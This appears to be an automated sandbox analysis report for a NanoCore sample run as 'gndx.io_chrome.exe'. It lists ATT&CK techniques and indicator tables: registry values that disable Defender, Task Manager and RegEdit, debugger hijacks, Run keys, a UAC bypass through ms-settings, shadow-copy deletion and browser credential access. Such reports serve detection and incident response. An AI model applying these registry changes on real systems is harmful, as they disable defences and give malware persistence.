nanocore | 522efda78128c6bfa4075a1a36aa325b1910a74f8964ac18df24154b418575f9

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	gndx.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1696	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	gndx.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	gndx.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	gndx.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	gndx.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	gndx.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2056	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	gndx.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	gndx.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	gndx.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4348	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	gndx.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	gndx.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	gndx.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4888	wscript.exe
5140	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	gndx.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	gndx.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2376	sc.exe
4844	sc.exe
2776	sc.exe
4588	sc.exe
3740	sc.exe
4116	sc.exe
5016	sc.exe
1096	sc.exe
4444	sc.exe
3676	sc.exe
5800	sc.exe
6120	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1616	cmd.exe
396	cmd.exe
5916	cmd.exe
2352	cmd.exe
3180	cmd.exe
5708	cmd.exe
3612	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3112	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3132	NETSTAT.EXE
4608	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4556	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5824	vssadmin.exe
1364	vssadmin.exe
4160	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Control Panel\Desktop\WallpaperStyle = "2"	gndx.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134313282202926058"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings	gndx.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell	gndx.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command\DelegateExecute	gndx.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command	gndx.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	gndx.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command	gndx.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open	gndx.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe"	gndx.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell\open	gndx.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\ms-settings\shell	gndx.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	gndx.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	gndx.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\gndx.io_chrome.exe\" \"%1\""	gndx.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4540	schtasks.exe
1456	schtasks.exe
3048	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
6036	WMIC.exe
6036	WMIC.exe
6036	WMIC.exe
6036	WMIC.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
1552	WMIC.exe
1552	WMIC.exe
1552	WMIC.exe
1552	WMIC.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe
4124	gndx.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4124	gndx.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeBackupPrivilege	4284	vssvc.exe
Token: SeRestorePrivilege	4284	vssvc.exe
Token: SeAuditPrivilege	4284	vssvc.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeIncreaseQuotaPrivilege	1696	powershell.exe
Token: SeSecurityPrivilege	1696	powershell.exe
Token: SeTakeOwnershipPrivilege	1696	powershell.exe
Token: SeLoadDriverPrivilege	1696	powershell.exe
Token: SeSystemProfilePrivilege	1696	powershell.exe
Token: SeSystemtimePrivilege	1696	powershell.exe
Token: SeProfSingleProcessPrivilege	1696	powershell.exe
Token: SeIncBasePriorityPrivilege	1696	powershell.exe
Token: SeCreatePagefilePrivilege	1696	powershell.exe
Token: SeBackupPrivilege	1696	powershell.exe
Token: SeRestorePrivilege	1696	powershell.exe
Token: SeShutdownPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeSystemEnvironmentPrivilege	1696	powershell.exe
Token: SeRemoteShutdownPrivilege	1696	powershell.exe
Token: SeUndockPrivilege	1696	powershell.exe
Token: SeManageVolumePrivilege	1696	powershell.exe
Token: 33	1696	powershell.exe
Token: 34	1696	powershell.exe
Token: 35	1696	powershell.exe
Token: 36	1696	powershell.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeShutdownPrivilege	6080	chrome.exe
Token: SeCreatePagefilePrivilege	6080	chrome.exe
Token: SeIncreaseQuotaPrivilege	1696	powershell.exe
Token: SeSecurityPrivilege	1696	powershell.exe
Token: SeTakeOwnershipPrivilege	1696	powershell.exe
Token: SeLoadDriverPrivilege	1696	powershell.exe
Token: SeSystemProfilePrivilege	1696	powershell.exe
Token: SeSystemtimePrivilege	1696	powershell.exe
Token: SeProfSingleProcessPrivilege	1696	powershell.exe
Token: SeIncBasePriorityPrivilege	1696	powershell.exe
Token: SeCreatePagefilePrivilege	1696	powershell.exe
Token: SeBackupPrivilege	1696	powershell.exe
Token: SeRestorePrivilege	1696	powershell.exe
Token: SeShutdownPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe
6080	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4124	gndx.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4124 wrote to memory of 6080	4124	gndx.io_chrome.exe	89
PID 6080 wrote to memory of 5504	6080	chrome.exe	90
PID 4124 wrote to memory of 1696	4124	gndx.io_chrome.exe	91
PID 4124 wrote to memory of 4444	4124	gndx.io_chrome.exe	93
PID 6080 wrote to memory of 5512	6080	chrome.exe	95
PID 6080 wrote to memory of 3112	6080	chrome.exe	94
PID 6080 wrote to memory of 5512	6080	chrome.exe	95
PID 6080 wrote to memory of 1464	6080	chrome.exe	98
PID 6080 wrote to memory of 1464	6080	chrome.exe	98
PID 6080 wrote to memory of 1744	6080	chrome.exe	99
PID 6080 wrote to memory of 4840	6080	chrome.exe	100
PID 6080 wrote to memory of 1744	6080	chrome.exe	99
PID 6080 wrote to memory of 4840	6080	chrome.exe	100
PID 4124 wrote to memory of 2376	4124	gndx.io_chrome.exe	101
PID 4124 wrote to memory of 4844	4124	gndx.io_chrome.exe	103
PID 4124 wrote to memory of 2776	4124	gndx.io_chrome.exe	105
PID 4124 wrote to memory of 3676	4124	gndx.io_chrome.exe	106
PID 6080 wrote to memory of 5840	6080	chrome.exe	109
PID 6080 wrote to memory of 5840	6080	chrome.exe	109
PID 4124 wrote to memory of 4588	4124	gndx.io_chrome.exe	110
PID 6080 wrote to memory of 2480	6080	chrome.exe	113
PID 6080 wrote to memory of 2480	6080	chrome.exe	113
PID 4124 wrote to memory of 6120	4124	gndx.io_chrome.exe	112
PID 4124 wrote to memory of 5800	4124	gndx.io_chrome.exe	192
PID 4124 wrote to memory of 3388	4124	gndx.io_chrome.exe	117
PID 4124 wrote to memory of 3740	4124	gndx.io_chrome.exe	118
PID 3388 wrote to memory of 3104	3388	fodhelper.exe	120
PID 4124 wrote to memory of 4116	4124	gndx.io_chrome.exe	121
PID 4124 wrote to memory of 5824	4124	gndx.io_chrome.exe	123
PID 4124 wrote to memory of 4404	4124	gndx.io_chrome.exe	125
PID 4124 wrote to memory of 4888	4124	gndx.io_chrome.exe	132
PID 4124 wrote to memory of 1456	4124	gndx.io_chrome.exe	133
PID 4124 wrote to memory of 4540	4124	gndx.io_chrome.exe	135
PID 4124 wrote to memory of 1616	4124	gndx.io_chrome.exe	140
PID 4124 wrote to memory of 3612	4124	gndx.io_chrome.exe	142
PID 4124 wrote to memory of 5708	4124	gndx.io_chrome.exe	143
